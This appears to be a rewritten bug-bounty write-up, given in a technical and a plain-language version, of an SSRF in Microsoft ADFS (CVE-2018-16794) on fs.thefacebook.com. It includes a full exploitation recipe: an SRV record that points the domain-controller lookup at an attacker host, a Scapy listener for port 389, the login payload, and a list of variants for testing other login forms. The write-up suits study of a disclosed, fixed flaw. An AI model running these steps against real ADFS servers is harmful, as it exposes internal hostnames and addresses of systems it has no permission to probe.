CVE-2018-16794 on fs.thefacebook.com
An SSRF vulnerability in Microsoft ADFS allowed an attacker to make the server connect to an attacker-controlled domain controller, leaking internal DNS hostnames and IP addresses. The attacker could set up a fake domain controller and listener to capture the leaked information.
Published on philippeharewood.com
According to (CVE-2018-16794), there is the possibility of a SSRF on Microsoft ADFS applications using the “txtBoxEmail” email parameter. I attempted to see how far I could go with it and was only able to receive a Netlogon response that leaked DnsHostName as well as the corporate IP.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up covers an SSRF that Philippe Harewood found in Facebook's infrastructure, tracked as CVE-2018-16794 and titled on the platform as "CVE-2018-16794 on fs.thefacebook.com". The target is fs.thefacebook.com, a Facebook-hosted login page. The researcher had read that the txtBoxEmail email parameter is susceptible to server-side request forgery in Microsoft ADFS 4.0 on Windows Server 2016.
The researcher's goal was to see how far the SSRF could be pushed. In the end the only thing that came back was a Netlogon response, which leaked the DnsHostName and the corporate IP address.
Setup
The researcher needed two things: a domain whose DNS records they controlled, and a host that could listen for traffic on port 389. The DNS side was handled with domains.google.com, which makes it easy to publish a custom SRV record. The listener was a small Scapy script taken from a public repository.
No accounts, roles or specific ADFS versions beyond the CVE reference are described in the report.
Finding it
The starting point was the published SSRF in Microsoft ADFS 4.0 on Windows Server 2016, reachable through the txtBoxEmail email parameter. The researcher applied that knowledge to fs.thefacebook.com and logged in using the DOMAIN\User format with a domain he controlled.
The behaviour that made this interesting is in how ADFS resolves a domain during login. When a user logs into fs.thefacebook.com using the DOMAIN\User format, a DNS request is sent to _ldap._tcp.pdc._msdcs to look up a domain controller belonging to that DOMAIN. If the domain in the username is one the attacker controls, that lookup goes to the attacker's DNS server, and the answer points the ADFS server at a host the attacker chooses.
Exploitation
Step 1: Set up a fake primary domain controller
The researcher published an SRV record on a domain they controlled, so that the _ldap._tcp.pdc._msdcs lookup for that domain would resolve to a host of their choosing. On domains.google.com the record looked like this:
_ldap._tcp.pdc._msdcs SRV 10m 0 100 389 any.example.com
The format of the record is:
[priority] [weight] [port] [primary_domain_controller_location]0 100 389 any.example.com
So the priority is 0, the weight is 100, the port is 389 and the primary domain controller location is any.example.com. A verification lookup with nslookup returns the record as expected:
nslookup -type=SRV _ldap._tcp.pdc._msdcs.example.comServer: 192.168.1.1Address: [redacted]#53
Non-authoritative answer:
_ldap._tcp.pdc._msdcs.phwd.com service = 0 100 389 any.example.com.
The important part is the port: 389 is LDAP, so whatever connects to the resolved host will speak LDAP to it. The record points the _ldap._tcp.pdc._msdcs lookup for the attacker's domain at the attacker's host on port 389.
Step 2: Set up a listener on the remote site
The researcher ran a Scapy-based listener on the host that the SRV record pointed to. The script is from https://github.com/jstnkndy/scripts/blob/master/dns_listener.py:
import sys
import argparse
import signal
from scapy.all import *
def pkt_callback(pkt):
print pkt[IP].src
if TCP in pkt:
print pkt[TCP].sport
if UDP in pkt:
print pkt[UDP].sport
print pkt
def signal_handler(signal, frame):
print "Caught signal, exiting!";
sys.exit(signal)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--interface", help="Interface to sniff on")
if len(sys.argv) != 3:
parser.print_help()
sys.exit(1)
signal.signal(signal.SIGINT, signal_handler)
args = parser.parse_args()
interface = args.interface
filter = 'tcp and port 389 or udp and port 389'
sniff(iface=interface, filter=filter, prn=lambda x: pkt_callback(x))
if __name__ == "__main__":
main()
The script sniffs on the chosen interface with the filter tcp and port 389 or udp and port 389, so it listens for any request on port 389, over either TCP or UDP. For each packet it prints the source IP, the source port (TCP or UDP as appropriate) and the full packet.
Step 3: Trigger the lookup through the login form
With the listener running, the researcher logged into fs.thefacebook.com and set the DOMAIN part of the username to the domain whose SRV record they controlled. The password does not matter:
example.com\example123Password: doesnotmatter
The listener was started with:
dns_listener.py --interface eth0
Because the username uses the DOMAIN\User format, a DNS request is sent to _ldap._tcp.pdc._msdcs to check for a domain controller belonging to example.com. The response returned the remote corporate IP and the DnsHostName for the ADFS.
Root cause
ADFS resolves the domain part of a DOMAIN\User username by querying DNS for the _ldap._tcp.pdc._msdcs SRV record. The domain is attacker-controlled input from the login form, so the attacker controls the DNS answer and therefore the destination of the server's outbound connection. The lookup is triggered by attacker-controlled input from the login form. The report does not describe the code or configuration that allowed the lookup to reach an external domain, so the exact reason existing defences did not stop it is not stated.
Impact
A system in Facebook's infrastructure was identified which could make external requests in an unexpected way. In this case the request leaked the DnsHostName and the corporate IP address of the ADFS through the Netlogon response. The researcher notes that this was as far as they were able to go; the report does not describe any further reach or any other data obtained.
Fix
Facebook hardened the infrastructure to address the issue. The timeline records the report on Mar 11, 2019, confirmation of submission the same day, a note on Sep 11, 2019 that the product team was working on a complex fix, a note on Oct 1, 2019 that the team had hardened the infrastructure, and a $1000 bounty awarded on Oct 2, 2019.
Variants to test
- Other ADFS-backed login forms that accept a
DOMAIN\Userusername: submit a domain you control with an SRV record for_ldap._tcp.pdc._msdcspointing at a listener. A positive result is an inbound connection on port 389 from the target's infrastructure. - Different SRV record targets: point the record at an internal-looking hostname or a host you control on a non-standard port. A positive result is a connection or response that reveals internal naming or addressing.
- Other parameters that feed a domain or hostname into a backend lookup, such as email fields on authentication pages. A positive result is an outbound DNS or LDAP request triggered by your input.
- Listener coverage: run the listener on both TCP and UDP port 389, as the script does, to catch whichever transport the target uses. A positive result is a captured packet showing the source address and port.
What happened, in plain words
A security researcher named Philippe Harewood found a way to make a Facebook server reach out to a computer he controlled, using nothing more than the login form of a Facebook site. The site, fs.thefacebook.com, is a Facebook login page. ADFS is Microsoft's sign-in service: instead of every application storing its own passwords, ADFS is the single place that checks a username and password and then tells the application "yes, this person is who they say they are". Many companies run ADFS so that staff can use one company account across many internal systems.
A public advisory described an SSRF in Microsoft ADFS 4.0 on Windows Server 2016 through the txtBoxEmail email parameter. Someone had already published a security advisory (a public note about a weakness) saying that this field in Microsoft ADFS 4.0 on Windows Server 2016 could be abused for something called SSRF, short for server-side request forgery. SSRF means: you trick a server into making a request on your behalf, to a destination you choose. The server sits inside a company network, so it can reach machines that you, sitting on the internet, cannot reach directly. It is like convincing a receptionist to phone an internal extension for you: you never get into the building, but the call is made from inside.
The researcher wanted to see how far this could go. He set up a fake "domain controller" (explained below) on the internet, logged in with a username whose domain he controlled, and waited. What came back was a Netlogon response, a reply from a Windows networking service, which leaked two pieces of information: the DnsHostName (the internal computer name of the ADFS server) and the corporate IP address (the internal network address of that machine). That was as far as he got. Facebook later hardened its infrastructure, and paid a $1000 bounty.
Background: the pieces you need to know
Before walking through the steps, here are the concepts involved, from zero.
DNS is the internet's phone book. When you type a name like example.com, your computer asks a DNS server "what address belongs to this name?" and gets back something like an IP address. DNS records come in types. An A record maps a name to an address. An SRV record (service record) is a special type that says "for this particular service, go to this host and this port". SRV records are how Windows finds domain controllers: a computer that wants to log in asks DNS "where is the domain controller for this domain?" and DNS answers with an SRV record.
A domain controller is the Windows server that manages logins for a Windows domain (a group of computers and accounts managed together). When you log in as DOMAIN\User, the DOMAIN part tells Windows which domain controller to ask. The \ is just a separator between the domain name and the username.
LDAP is the protocol (the language) computers use to talk to directory services such as a domain controller. It normally runs on port 389. A port is like a numbered door on a computer: different services listen on different doors, and 389 is the door LDAP uses.
ADFS is Microsoft's federated sign-in service, mentioned above. It accepts a username in the DOMAIN\User format and, to check that domain, it looks up the domain controller for that domain in DNS.
SSRF is the weakness class here. The server takes input from you (the domain part of the username) and uses it to decide where to connect. Because the server is inside the network, it can reach places you cannot. The fix is to stop the server from connecting to arbitrary destinations chosen by the user.
Netlogon is a Windows service used for authentication between machines in a domain. Its responses can contain details about the server, such as its hostname and address.
A listener is simply a program that sits and waits for incoming connections, printing what arrives. It is how the researcher saw the Facebook server knocking on his door.
Scapy is a Python library for sending and capturing network packets. The listener script below uses it.
The starting point
The researcher began from a public advisory about CVE-2018-16794, a known SSRF in Microsoft ADFS 4.0 on Windows Server 2016, reachable through the txtBoxEmail email parameter. He applied that knowledge to fs.thefacebook.com and logged in using the DOMAIN\User format with a domain he controlled.
The key behaviour is in how ADFS resolves a domain during login. When a user logs into fs.thefacebook.com using the DOMAIN\User format, a DNS request is sent to _ldap._tcp.pdc._msdcs to look up a domain controller belonging to that DOMAIN. _ldap._tcp.pdc._msdcs is a fixed DNS name that means "the primary domain controller for LDAP". If the domain in the username is one the attacker controls, that lookup goes to the attacker's DNS server, and the answer points the ADFS server at a host the attacker chooses. That is the whole trick: the login form lets you name a domain, and the server trusts DNS to tell it where that domain's controller lives.
Step 1: Set up a fake primary domain controller
The researcher needed a domain whose DNS records he controlled, so that the _ldap._tcp.pdc._msdcs lookup for that domain would resolve to a host of his choosing. He used domains.google.com, which makes it easy to publish a custom SRV record. The record looked like this:
_ldap._tcp.pdc._msdcs SRV 10m 0 100 389 any.example.com
Line by line:
_ldap._tcp.pdc._msdcsis the name being looked up. The underscores are just part of the naming convention for service records.SRVsays this is a service record.10mis the record's time to live, meaning how long DNS servers may cache it (here, ten minutes).0 100 389 any.example.comis the actual answer, explained next.
The format of the record is:
[priority] [weight] [port] [primary_domain_controller_location]0 100 389 any.example.com
So the priority is 0, the weight is 100, the port is 389 and the primary domain controller location is any.example.com. Priority and weight are used to choose between multiple records; with a single record they simply mean "use this one". The important part is the port: 389 is LDAP, so whatever connects to the resolved host will speak LDAP to it. The record points the _ldap._tcp.pdc._msdcs lookup for the attacker's domain at the attacker's host on port 389.
To check the record was published correctly, the researcher ran a lookup with nslookup, a command-line DNS query tool:
nslookup -type=SRV _ldap._tcp.pdc._msdcs.example.comServer: 192.168.1.1Address: [redacted]#53
This asks the DNS server for the SRV record of _ldap._tcp.pdc._msdcs.example.com. The Server and Address lines show which DNS server answered (a local one, in this case). The answer came back as expected:
Non-authoritative answer:
_ldap._tcp.pdc._msdcs.phwd.com service = 0 100 389 any.example.com.
"Non-authoritative" just means the answer came from a cache rather than the domain's own server; the content is the same. The answer confirms that anyone asking for the domain controller of that domain will be sent to any.example.com on port 389.
Step 2: Set up a listener on the remote site
Next, the researcher needed a program on any.example.com that would wait for the Facebook server to connect and print what it saw. He used a Scapy-based listener from https://github.com/jstnkndy/scripts/blob/master/dns_listener.py:
import sys
import argparse
import signal
from scapy.all import *
def pkt_callback(pkt):
print pkt[IP].src
if TCP in pkt:
print pkt[TCP].sport
if UDP in pkt:
print pkt[UDP].sport
print pkt
def signal_handler(signal, frame):
print "Caught signal, exiting!";
sys.exit(signal)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--interface", help="Interface to sniff on")
if len(sys.argv) != 3:
parser.print_help()
sys.exit(1)
signal.signal(signal.SIGINT, signal_handler)
args = parser.parse_args()
interface = args.interface
filter = 'tcp and port 389 or udp and port 389'
sniff(iface=interface, filter=filter, prn=lambda x: pkt_callback(x))
if __name__ == "__main__":
main()
Line by line:
import sys,import argparse,import signalbring in Python's standard modules for exiting, reading command-line arguments, and handling Ctrl+C.from scapy.all import *loads Scapy, the packet capture library.def pkt_callback(pkt):defines what to do with each captured packet. It prints the source IP (pkt[IP].src), then the source port, checking whether the packet is TCP or UDP, and finally prints the whole packet.def signal_handler(signal, frame):defines what happens when the program is interrupted: it prints a message and exits.def main():sets up the argument parser, requires exactly one argument (--interface), registers the signal handler, reads the interface name, and defines the capture filtertcp and port 389 or udp and port 389.sniff(iface=interface, filter=filter, prn=lambda x: pkt_callback(x))starts capturing on that interface, applying the filter, and callspkt_callbackfor every matching packet.if __name__ == "__main__": main()runsmain()when the script is executed.
The filter is the heart of it: tcp and port 389 or udp and port 389 means "anything going to or from port 389, over either TCP or UDP". So the script listens for any request on port 389, over either transport. For each packet it prints the source IP, the source port and the full packet.
Step 3: Trigger the lookup through the login form
With the listener running, the researcher logged into fs.thefacebook.com and set the DOMAIN part of the username to the domain whose SRV record he controlled. The password does not matter:
example.com\example123Password: doesnotmatter
This is the username example.com\example123 with the password doesnotmatter. Because the username uses the DOMAIN\User format, a DNS request is sent to _ldap._tcp.pdc._msdcs to check for a domain controller belonging to example.com. The password does not matter.
The listener was started with:
dns_listener.py --interface eth0
--interface eth0 tells it to capture on the network interface named eth0, the usual name for the first network card on Linux.
The response returned the remote corporate IP and the DnsHostName for the ADFS. The response was a Netlogon response that leaked the DnsHostName and the corporate IP address. That is the leak: information about Facebook's internal network, obtained by making Facebook's own server do the asking.
Why it worked
ADFS resolves the domain part of a DOMAIN\User username by querying DNS for the _ldap._tcp.pdc._msdcs SRV record. The domain is attacker-controlled input from the login form, so the attacker controls the DNS answer and therefore the destination of the server's outbound connection. The lookup is triggered by attacker-controlled input from the login form. The report does not describe the code or configuration that allowed the lookup to reach an external domain, so the exact reason existing defences did not stop it is not stated.
Impact
A system in Facebook's infrastructure was identified which could make external requests in an unexpected way. In this case the request leaked the DnsHostName and the corporate IP address of the ADFS through the Netlogon response. The researcher notes that this was as far as he was able to go; the report does not describe any further reach or any other data obtained.
Fix
Facebook hardened the infrastructure to address the issue. The timeline records the report on Mar 11, 2019, confirmation of submission the same day, a note on Sep 11, 2019 that the product team was working on a complex fix, a note on Oct 1, 2019 that the team had hardened the infrastructure, and a $1000 bounty awarded on Oct 2, 2019.
Variants to test
If you want to look for the same kind of issue elsewhere, here are starting points. Each one is a way to check whether a server will make a connection you chose.
- Other ADFS-backed login forms that accept a
DOMAIN\Userusername: submit a domain you control with an SRV record for_ldap._tcp.pdc._msdcspointing at a listener. A positive result is an inbound connection on port 389 from the target's infrastructure. - Different SRV record targets: point the record at an internal-looking hostname or a host you control on a non-standard port. A positive result is a connection or response that reveals internal naming or addressing.
- Other parameters that feed a domain or hostname into a backend lookup, such as email fields on authentication pages. A positive result is an outbound DNS or LDAP request triggered by your input.
- Listener coverage: run the listener on both TCP and UDP port 389, as the script does, to catch whichever transport the target uses. A positive result is a captured packet showing the source address and port.
Glossary
- ADFS: Microsoft's federated sign-in service, which checks usernames and passwords for many applications in one place.
- Bounty: a reward paid by a company to a researcher who reports a security issue.
- CVE: a public identifier for a known security vulnerability.
- DNS: the internet's naming system that maps names to addresses and other records.
- Domain: a named group of computers and accounts managed together, or a name on the internet such as
example.com. - Domain controller: the Windows server that manages logins for a Windows domain.
- DnsHostName: the hostname of a machine as recorded in DNS.
- IP address: the numeric address of a machine on a network.
- LDAP: the protocol used to talk to directory services such as a domain controller, normally on port 389.
- Listener: a program that waits for incoming network connections and reports them.
- Netlogon: a Windows service used for authentication between machines in a domain.
- Port: a numbered door on a computer that a particular service listens on.
- Scapy: a Python library for sending and capturing network packets.
- SRV record: a DNS record that says which host and port provide a particular service.
- SSRF: server-side request forgery, a weakness where an attacker makes a server send a request to a destination the attacker chooses.
- TCP and UDP: the two main transport protocols for network traffic.
- txtBoxEmail: the name of the email field in the ADFS login form.